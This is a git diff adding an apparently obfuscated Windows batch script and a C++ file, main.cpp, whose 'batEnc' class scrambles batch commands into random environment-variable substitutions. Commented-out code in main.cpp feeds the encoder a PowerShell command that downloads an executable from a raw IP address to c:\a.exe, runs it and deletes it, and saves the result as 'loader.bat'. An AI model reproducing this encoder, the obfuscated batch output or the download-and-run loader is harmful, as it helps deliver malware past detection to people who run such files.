+%PuWC%%lnXf%%exkE%%XKEP%FuJJ%dkqA%%wljP% +%PuWC%%lnXf%%exkE%%XKEP%gKok%dkqA%%GanP% +%PuWC%%lnXf%%exkE%%XKEP%nPQj%dkqA%%oguW% +%PuWC%%lnXf%%exkE%%XKEP%jvKu%dkqA%%mCDV% +%PuWC%%lnXf%%exkE%%XKEP%MoVC%dkqA%%AoKt% +%PuWC%%lnXf%%exkE%%XKEP%KYQv%dkqA%%dtTw% +%PuWC%%lnXf%%exkE%%XKEP%bcek%dkqA%%JQjP% +%PuWC%%lnXf%%exkE%%XKEP%PUTV%dkqA%%jvKu% +%PuWC%%lnXf%%exkE%%XKEP%cfhQ%dkqA%%MMoS% +%PuWC%%lnXf%%exkE%%XKEP%Alwu%dkqA%%nNwg% +%PuWC%%lnXf%%exkE%%XKEP%GUOV%dkqA%%UeyQ% +%PuWC%%lnXf%%exkE%%XKEP%XxbN%dkqA%%uIWc% +%PuWC%%lnXf%%exkE%%XKEP%lOWZ%dkqA%%KYQv% +%PuWC%%lnXf%%exkE%%XKEP%evJE%dkqA%? +%PuWC%%lnXf%%exkE%%XKEP%tpBw%dkqA%%OiOo% +%PuWC%%lnXf%%exkE%%XKEP%MqXH%dkqA%%XxbN% +%PuWC%%lnXf%%exkE%%XKEP%JgTp%dkqA%%Qqqy% +%PuWC%%lnXf%%exkE%%XKEP%TtZl%dkqA%%lnXf% +%PuWC%%TtZl%%exkE%%XKEP%ftJw%dkqA%%lOWZ% +%PuWC%%TtZl%%exkE%%XKEP%QEAY%dkqA%%cfhQ% +%PuWC%%TtZl%%exkE%%XKEP%CcHa%dkqA%%Epie% +%PuWC%%TtZl%%exkE%%XKEP%mmjZ%dkqA%%TtZl% +%PuWC%%mmjZ%%exkE%%XKEP%bVoB%dkqA%%dkqA% +%PuWC%%mmjZ%%exkE%%XKEP%vIgc%bVoB%%PuWC% +%vIgc%%mmjZ%%exkE%%XKEP%PIMe%bVoB%%Alwu% +%vIgc%%mmjZ%%exkE%%XKEP%oDET%bVoB%%QEAY% +%vIgc%%mmjZ%%exkE%%XKEP%nyaJ%bVoB%%vIgc% +%nyaJ%%mmjZ%%exkE%%XKEP%RVDv%bVoB%%GNLo% +%nyaJ%%mmjZ%%exkE%%XKEP%wOKJ%bVoB%%tpBw% +%nyaJ%%mmjZ%%exkE%%XKEP%RFZX%bVoB%%nyaJ% +%RFZX%%mmjZ%%exkE%%XKEP%bdTI%bVoB%%LTHM% +%RFZX%%mmjZ%%exkE%%XKEP%vJKO%bVoB%%wOKJ% +%RFZX%%mmjZ%%exkE%%XKEP%DsOv%bVoB%%PIMe% +%RFZX%%mmjZ%%exkE%%XKEP%PgSX%bVoB%%RVDv% +%RFZX%%mmjZ%%exkE%%XKEP%seOj%bVoB%%wBov% +%RFZX%%mmjZ%%exkE%%XKEP%vBVr%bVoB%%mqEG% +%RFZX%%mmjZ%%exkE%%XKEP%ccnd%bVoB%%ftJw% +%RFZX%%mmjZ%%exkE%%XKEP%jxcv%bVoB%%RFZX% +%jxcv%%mmjZ%%exkE%%XKEP%mqkD%bVoB%%DsOv% +%jxcv%%mmjZ%%exkE%%XKEP%QSSj%bVoB%%vJKO% +%jxcv%%mmjZ%%exkE%%XKEP%fXPB%bVoB%%PgSX% +%jxcv%%mmjZ%%exkE%%XKEP%ewap%bVoB%%seOj% +%jxcv%%mmjZ%%exkE%%XKEP%Iskg%bVoB%%aLdU% +%jxcv%%mmjZ%%exkE%%XKEP%lMEB%bVoB%%fXPB% +%jxcv%%mmjZ%%exkE%%XKEP%clFm%bVoB%%kdnh% +%jxcv%%mmjZ%%exkE%%XKEP%ZxLl%bVoB%%ewap% +%jxcv%%mmjZ%%exkE%%XKEP%qdYo%bVoB%%jxcv% +%qdYo%%mmjZ%%exkE%%XKEP%FyUE%bVoB%%mmjZ% +%qdYo%%FyUE%%exkE%%XKEP%qzfg%bVoB%%ccnd% +%qdYo%%FyUE%%exkE%%XKEP%moft%bVoB%%bdTI% +%qdYo%%FyUE%%exkE%%XKEP%Pkoy%bVoB%%QSSj% +%qdYo%%FyUE%%exkE%%XKEP%PCAf%bVoB%%JgTp% +%qdYo%%FyUE%%exkE%%XKEP%Vuzn%bVoB%%ZxLl% +%qdYo%%FyUE%%exkE%%XKEP%yQeD%bVoB%%oDET% +%qdYo%%FyUE%%exkE%%XKEP%xwcT%bVoB%%qdYo% +%xwcT%%FyUE%%exkE%%XKEP%WTVO%bVoB%%FyUE% +%xwcT%%WTVO%%exkE%%XKEP%kzgc%bVoB%%Iskg% +%xwcT%%WTVO%%exkE%%XKEP%BRYT%bVoB%%WTVO% +%xwcT%%BRYT%%exkE%%XKEP%husV%bVoB%%PUTV% +%xwcT%%BRYT%%exkE%%XKEP%WWSM%bVoB%%moft% +%xwcT%%BRYT%%exkE%%XKEP%OWwT%bVoB%%kzgc% +%xwcT%%BRYT%%exkE%%XKEP%uxOB%bVoB%%Pkoy% +%xwcT%%BRYT%%exkE%%XKEP%fBrI%bVoB%%clFm% +%xwcT%%BRYT%%exkE%%XKEP%yxVp%bVoB%%vBVr% +%xwcT%%BRYT%%exkE%%XKEP%bqqh%bVoB%%lMEB% +%xwcT%%BRYT%%exkE%%XKEP%kDUA%bVoB%%uxOB% +%xwcT%%BRYT%%exkE%%XKEP%jYXE%bVoB%%OWwT% +%xwcT%%BRYT%%exkE%%XKEP%gZWO%bVoB%%MqXH% +%xwcT%%BRYT%%exkE%%XKEP%AWmh%bVoB%%dPhX% +%xwcT%%BRYT%%exkE%%XKEP%PNlb%bVoB%%XJoS% +%xwcT%%BRYT%%exkE%%XKEP%Afmd%bVoB%, +%xwcT%%BRYT%%exkE%%XKEP%lbJQ%bVoB%%PNlb% +%xwcT%%BRYT%%exkE%%XKEP%KqVn%bVoB%%AWmh% +%xwcT%%BRYT%%exkE%%XKEP%cZGH%bVoB%%GyiY% +%xwcT%%BRYT%%exkE%%XKEP%QAmk%bVoB%\ +%xwcT%%BRYT%%exkE%%XKEP%JteQ%bVoB%%yQeD% +%xwcT%%BRYT%%exkE%%XKEP%Sdza%bVoB%%fHDo% +%xwcT%%BRYT%%exkE%%XKEP%RNAD%bVoB%%BRYT% +%xwcT%%RNAD%%exkE%%XKEP%owDx%bVoB%%nZqA% +%xwcT%%RNAD%%exkE%%XKEP%xitA%bVoB%%RNAD% +%xwcT%%xitA%%exkE%%XKEP%Oyfd%bVoB%%lbJQ% +%xwcT%%xitA%%exkE%%XKEP%NVlv%bVoB%%Bsjf% +%GyZi%%husV%%MoVC%%xitA%%WWSM%%xwcT%%yxVp%%xitA%%PCAf%%PCAf%%XKEP%%Ofpa%%qzfg%%xitA%%MoVC%%dhfo%%husV%%fBrI%%jYXE%%xitA%%KqVn%%exkE%%XKEP%%qYPK%%QthO%%xwcT%%exkE%%xitA%%CcHa%%Sdza%%OYXi%%xitA%%exkE%%Sdza%%FYYM%%xitA%%fBrI%%XsrQ%%PCAf%%gZWO%%xitA%%qzfg%%exkE%%NVlv%%Sdza%%nPQj%%husV%%MoVC%%qzfg%%PCAf%%husV%%JteQ%%mqkD%%Zzes%%gZWO%%PCAf%%xitA%%Ofpa%%XKEP%%Oyfd%%yxVp%%exkE%%exkE%%GyZi%%cZGH%%gKok%%gKok%%jRlw%%mOgd%%Sdza%%dPmU%%jRlw%%FuJJ%%Sdza%%RjDy%%mOgd%%RjDy%%Sdza%%dPmU%%mOgd%%VSrP%%cZGH%%FuJJ%%MwYJ%%FuJJ%%FuJJ%%gKok%%nPQj%%husV%%MoVC%%qzfg%%bcek%%husV%%JteQ%%mqkD%%GUOV%%gZWO%%qzfg%%evJE%%kDUA%%gZWO%%PCAf%%xitA%%qzfg%%JteQ%%CcHa%%xitA%%bVoB%%xwcT%%mqkD%%JteQ%%xwcT%%bqqh%%kDUA%%xwcT%%WWSM%%kDUA%%mqkD%%bqqh%%Vuzn%%yxVp%%qzfg%%xwcT%%mqkD%%kDUA%%bqqh%%Vuzn%%jYXE%%bqqh%%fBrI%%Vuzn%%xwcT%%xitA%%qzfg%%WWSM%%kDUA%%PCAf%%Vuzn%%JteQ%%xwcT%%xitA%%jYXE%%xitA%%husV%%WWSM%%jYXE%%kDUA%%fBrI%%yxVp%%bqqh%%kDUA%%jYXE%%gZWO%%KqVn%%Oyfd%%Afmd%%Oyfd%%KqVn%%cZGH%%QAmk%%JteQ%%Sdza%%xitA%%owDx%%xitA%%Oyfd%%NVlv% +%xwcT%%xitA%%exkE%%XKEP%vaiT%bVoB%%KqVn% +%xwcT%%xitA%%exkE%%XKEP%yFfn%bVoB%%cZGH% +%xwcT%%xitA%%exkE%%XKEP%pxri%bVoB%%QAmk% +%xwcT%%xitA%%exkE%%XKEP%JBcr%bVoB%%JteQ% +%xwcT%%xitA%%exkE%%XKEP%RNAc%bVoB%%Sdza% +%xwcT%%xitA%%exkE%%XKEP%vqWE%bVoB%%xitA% +%xwcT%%vqWE%%exkE%%XKEP%wkcm%bVoB%%owDx% +%xwcT%%vqWE%%exkE%%XKEP%CgUl%bVoB%%vqWE% +%vaiT%%yFfn%%pxri%%JBcr%%RNAc%%CgUl%%wkcm%%CgUl% +%xwcT%%CgUl%%exkE%%XKEP%MiBV%bVoB%%mqkD% +%xwcT%%CgUl%%exkE%%XKEP%aEpo%bVoB%%CgUl% +%xwcT%%aEpo%%exkE%%XKEP%ygxi%bVoB%%PCAf% +%xwcT%%aEpo%%exkE%%XKEP%GhAq%bVoB%%XKEP% +%xwcT%%aEpo%%exkE%%GhAq%dvkO%bVoB%%vaiT% +%xwcT%%aEpo%%exkE%%GhAq%yCTH%bVoB%%yFfn% +%xwcT%%aEpo%%exkE%%GhAq%tCQO%bVoB%%pxri% +%xwcT%%aEpo%%exkE%%GhAq%AvGl%bVoB%%JBcr% +%xwcT%%aEpo%%exkE%%GhAq%SUia%bVoB%%RNAc% +%xwcT%%aEpo%%exkE%%GhAq%eevZ%bVoB%%aEpo% +%xwcT%%eevZ%%exkE%%GhAq%GSxg%bVoB%%wkcm% +%xwcT%%eevZ%%exkE%%GhAq%sxzy%bVoB%e +%MiBV%%sxzy%%ygxi%%GhAq%%dvkO%%yCTH%%tCQO%%AvGl%%SUia%%sxzy%%GSxg%%sxzy% diff --git a/WinGUI/main.cpp b/WinGUI/main.cpp new file mode 100644 index 0000000..2186d50 --- /dev/null +++ b/WinGUI/main.cpp @@ -0,0 +1,234 @@ +#include "MainWindow.h" +//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) +class batEnc +{ +private: + std::unordered_map chars; + std::stringstream sb; + std::string randomString4() + { + char tmp[5]; + char keys[] = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; + tmp[0] = keys[Random::Next() % 52]; + tmp[1] = keys[Random::Next() % 52]; + tmp[2] = keys[Random::Next() % 52]; + tmp[3] = keys[Random::Next() % 52]; + tmp[4] = '\0'; + return std::string(tmp); + } + void check(char c) + { + auto found = chars.find(c); + if (found == chars.end()) + { + chars[c] = randomString4(); + sb << ref('s') << ref('e') << ref('t') << ref(' ') << chars[c] << ref('=') << c << std::endl; + } + } + void random(char c) + { + auto found = chars.find(c); + if (found == chars.end()) + { + chars[c] = randomString4(); + sb << ref('s') << ref('e') << ref('t') << ref(' ') << chars[c] << ref('=') << c << std::endl; + } + else + { + auto ss = randomString4(); + if (chars[c].size() == 4 && chars[c][0] == c) + sb << ref('s') << ref('e') << ref('t') << ref(' ') << ss << ref('=') << c << std::endl; + else + sb << ref('s') << ref('e') << ref('t') << ref(' ') << ss << ref('=') << ref(c) << std::endl; + chars[c] = ss; + } + } + void random() + { + for (auto c : chars) + random(c.first); + } + void random(std::string s) + { + for (auto c : s) + random(c); + } + std::string ref(char c) + { + return "%" + chars[c] + "%"; + } + std::string ref(std::string s) + { + std::string res = ""; + for (auto s_ : s) + res += ref(s_); + return res; + } + void input(char c) + { + sb << ref(c); + } + void input(std::string str) + { + for (auto c : str) + check(c); + for (auto c : str) + input(c); + sb << std::endl; + } +public: + batEnc() + { + chars = std::unordered_map(); + sb << "@echo off" << std::endl; + chars[' '] = randomString4(); + sb << "set " << chars[' '] << "= " << std::endl; + + chars['='] = randomString4(); + sb << "set" << ref(' ') << chars['='] << "==" << std::endl; + + chars['s'] = randomString4(); + sb << "set" << ref(' ') << chars['s'] << ref('=') << "s" << std::endl; + + chars['e'] = randomString4(); + sb << ref('s') << "et" << ref(' ') << chars['e'] << ref('=') << "e" << std::endl; + + chars['t'] = randomString4(); + sb << ref('s') << ref('e') << "t" << ref(' ') << chars['t'] << ref('=') << "t" << std::endl; + } + std::string convert(std::string str) + { + auto lines = StringHelper::Split(str, { '\r','\n' }); + random("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); + random("0123456789"); + random("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"); + random("0987654321"); + random("QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"); + random("3571986240"); + for (auto l : lines) + { + random(l); + input(l); + } + return sb.str(); + } +}; + +static constexpr const uint32_t hexTableW[] = +{ + 0x300030,0x310030,0x320030,0x330030,0x340030,0x350030,0x360030,0x370030,0x380030,0x390030,0x410030,0x420030,0x430030,0x440030,0x450030,0x460030, + 0x300031,0x310031,0x320031,0x330031,0x340031,0x350031,0x360031,0x370031,0x380031,0x390031,0x410031,0x420031,0x430031,0x440031,0x450031,0x460031, + 0x300032,0x310032,0x320032,0x330032,0x340032,0x350032,0x360032,0x370032,0x380032,0x390032,0x410032,0x420032,0x430032,0x440032,0x450032,0x460032, + 0x300033,0x310033,0x320033,0x330033,0x340033,0x350033,0x360033,0x370033,0x380033,0x390033,0x410033,0x420033,0x430033,0x440033,0x450033,0x460033, + 0x300034,0x310034,0x320034,0x330034,0x340034,0x350034,0x360034,0x370034,0x380034,0x390034,0x410034,0x420034,0x430034,0x440034,0x450034,0x460034, + 0x300035,0x310035,0x320035,0x330035,0x340035,0x350035,0x360035,0x370035,0x380035,0x390035,0x410035,0x420035,0x430035,0x440035,0x450035,0x460035, + 0x300036,0x310036,0x320036,0x330036,0x340036,0x350036,0x360036,0x370036,0x380036,0x390036,0x410036,0x420036,0x430036,0x440036,0x450036,0x460036, + 0x300037,0x310037,0x320037,0x330037,0x340037,0x350037,0x360037,0x370037,0x380037,0x390037,0x410037,0x420037,0x430037,0x440037,0x450037,0x460037, + 0x300038,0x310038,0x320038,0x330038,0x340038,0x350038,0x360038,0x370038,0x380038,0x390038,0x410038,0x420038,0x430038,0x440038,0x450038,0x460038, + 0x300039,0x310039,0x320039,0x330039,0x340039,0x350039,0x360039,0x370039,0x380039,0x390039,0x410039,0x420039,0x430039,0x440039,0x450039,0x460039, + 0x300041,0x310041,0x320041,0x330041,0x340041,0x350041,0x360041,0x370041,0x380041,0x390041,0x410041,0x420041,0x430041,0x440041,0x450041,0x460041, + 0x300042,0x310042,0x320042,0x330042,0x340042,0x350042,0x360042,0x370042,0x380042,0x390042,0x410042,0x420042,0x430042,0x440042,0x450042,0x460042, + 0x300043,0x310043,0x320043,0x330043,0x340043,0x350043,0x360043,0x370043,0x380043,0x390043,0x410043,0x420043,0x430043,0x440043,0x450043,0x460043, + 0x300044,0x310044,0x320044,0x330044,0x340044,0x350044,0x360044,0x370044,0x380044,0x390044,0x410044,0x420044,0x430044,0x440044,0x450044,0x460044, + 0x300045,0x310045,0x320045,0x330045,0x340045,0x350045,0x360045,0x370045,0x380045,0x390045,0x410045,0x420045,0x430045,0x440045,0x450045,0x460045, + 0x300046,0x310046,0x320046,0x330046,0x340046,0x350046,0x360046,0x370046,0x380046,0x390046,0x410046,0x420046,0x430046,0x440046,0x450046,0x460046, +}; +static constexpr const uint32_t hexTableWCC[] = +{ +'00\0000','01\0000','02\0000','03\0000','04\0000','05\0000','06\0000','07\0000','08\0000','09\0000','0A\0000','0B\0000','0C\0000','0D\0000','0E\0000','0F\0000', +'00\0001','01\0001','02\0001','03\0001','04\0001','05\0001','06\0001','07\0001','08\0001','09\0001','0A\0001','0B\0001','0C\0001','0D\0001','0E\0001','0F\0001', +'00\0002','01\0002','02\0002','03\0002','04\0002','05\0002','06\0002','07\0002','08\0002','09\0002','0A\0002','0B\0002','0C\0002','0D\0002','0E\0002','0F\0002', +'00\0003','01\0003','02\0003','03\0003','04\0003','05\0003','06\0003','07\0003','08\0003','09\0003','0A\0003','0B\0003','0C\0003','0D\0003','0E\0003','0F\0003', +'00\0004','01\0004','02\0004','03\0004','04\0004','05\0004','06\0004','07\0004','08\0004','09\0004','0A\0004','0B\0004','0C\0004','0D\0004','0E\0004','0F\0004', +'00\0005','01\0005','02\0005','03\0005','04\0005','05\0005','06\0005','07\0005','08\0005','09\0005','0A\0005','0B\0005','0C\0005','0D\0005','0E\0005','0F\0005', +'00\0006','01\0006','02\0006','03\0006','04\0006','05\0006','06\0006','07\0006','08\0006','09\0006','0A\0006','0B\0006','0C\0006','0D\0006','0E\0006','0F\0006', +'00\0007','01\0007','02\0007','03\0007','04\0007','05\0007','06\0007','07\0007','08\0007','09\0007','0A\0007','0B\0007','0C\0007','0D\0007','0E\0007','0F\0007', +'00\0008','01\0008','02\0008','03\0008','04\0008','05\0008','06\0008','07\0008','08\0008','09\0008','0A\0008','0B\0008','0C\0008','0D\0008','0E\0008','0F\0008', +'00\0009','01\0009','02\0009','03\0009','04\0009','05\0009','06\0009','07\0009','08\0009','09\0009','0A\0009','0B\0009','0C\0009','0D\0009','0E\0009','0F\0009', +'00\000A','01\000A','02\000A','03\000A','04\000A','05\000A','06\000A','07\000A','08\000A','09\000A','0A\000A','0B\000A','0C\000A','0D\000A','0E\000A','0F\000A', +'00\000B','01\000B','02\000B','03\000B','04\000B','05\000B','06\000B','07\000B','08\000B','09\000B','0A\000B','0B\000B','0C\000B','0D\000B','0E\000B','0F\000B', +'00\000C','01\000C','02\000C','03\000C','04\000C','05\000C','06\000C','07\000C','08\000C','09\000C','0A\000C','0B\000C','0C\000C','0D\000C','0E\000C','0F\000C', +'00\000D','01\000D','02\000D','03\000D','04\000D','05\000D','06\000D','07\000D','08\000D','09\000D','0A\000D','0B\000D','0C\000D','0D\000D','0E\000D','0F\000D', +'00\000E','01\000E','02\000E','03\000E','04\000E','05\000E','06\000E','07\000E','08\000E','09\000E','0A\000E','0B\000E','0C\000E','0D\000E','0E\000E','0F\000E', +'00\000F','01\000F','02\000F','03\000F','04\000F','05\000F','06\000F','07\000F','08\000F','09\000F','0A\000F','0B\000F','0C\000F','0D\000F','0E\000F','0F\000F', +}; +int main(int argc, char** argv) +{ + //const char* keyTable = "0123456789ABCDEF"; + + //for (int i = 0; i < 0x100; i++) + //{ + // char output[3] = {0,0,0}; + // output[1] = keyTable[(*(uint8_t*)&i & 0x0F) >> 0x00]; + // output[0] = keyTable[(*(uint8_t*)&i & 0xF0) >> 0x04]; + // //printf("0x%ws,", output); + // printf("\'%c\\000%c\',", output[1], output[0]); + // if ((i + 1) % 16 == 0) + // printf("\n"); + //} + //return 0; + + //int dx = 0; + //while (1) + //{ + // TCPSocket cli; + // if (cli.Connect("127.0.0.1", 8288)) + // { + // std::string str = StringHelper::Format("HELLO - %d",dx++); + // cli.Send(str.c_str(), str.size()); + // cli.Close(); + // } + //} + //return 1; + //TCPSocket ser; + //ser.Listen(8288); + //while (1) + //{ + // auto socket_ = ser.Accept(); + // char buffer[0x1000] = {}; + // auto len = socket_->Receive(buffer, 0x1000); + // socket_->Close(); + // if (len > 0) + // { + // printf("%s\n", buffer); + // } + //} + //return 1; + + + //BYTE char_array_4[4]{}; + //uint32_t value = 0x12045678; + //char_array_4[0] = (value >> 24) & 0xFF; + //char_array_4[1] = (value >> 16) & 0xFF; + //char_array_4[2] = (value >> 8) & 0xFF; + //char_array_4[3] = value & 0xFF; + + //*(uint32_t*)char_array_4 = value & 0xFFFFFFFFu; + //auto s = R"( + //cls + //color 24 + //color 24 + //powershell (new-object System.Net.WebClient).DownloadFile( 'http://43.248.131.235:8088/DownLoadBin?filename=sdasgfsrfdgkhnsdfgkjgbksenrflkasejeorjfbhgfjic','c:\a.exe') + //c:\a.exe + //del c:\a.exe + //)"; + //batEnc enc; + //auto str = enc.convert(s); + //List buffer; + //buffer.Add(0xFE); + //buffer.Add(0xFF); + //buffer.Add(0x0D); + //buffer.Add(0x0A); + //buffer.AddRange(str.data(), str.size()); + //File::WriteAllBytes(R"(loader.bat)", (BYTE*)buffer.data(), buffer.size()); + + MainWindow* fm = new MainWindow(); + fm->Show(); + MSG msg; + while (GetMessage(&msg, NULL, 0, 0)) + { + TranslateMessage(&msg); + DispatchMessage(&msg); + }; + return NULL; +} \ No newline at end of file diff --git a/WinGUI/resource.h b/WinGUI/resource.h new file mode 100644 index 0000000..20d4978 --- /dev/null +++ b/WinGUI/resource.h @@ -0,0 +1,16 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ ɵİļ +// WinGUI.rc ʹ +// +#define IDI_ICON1 101 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 102 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif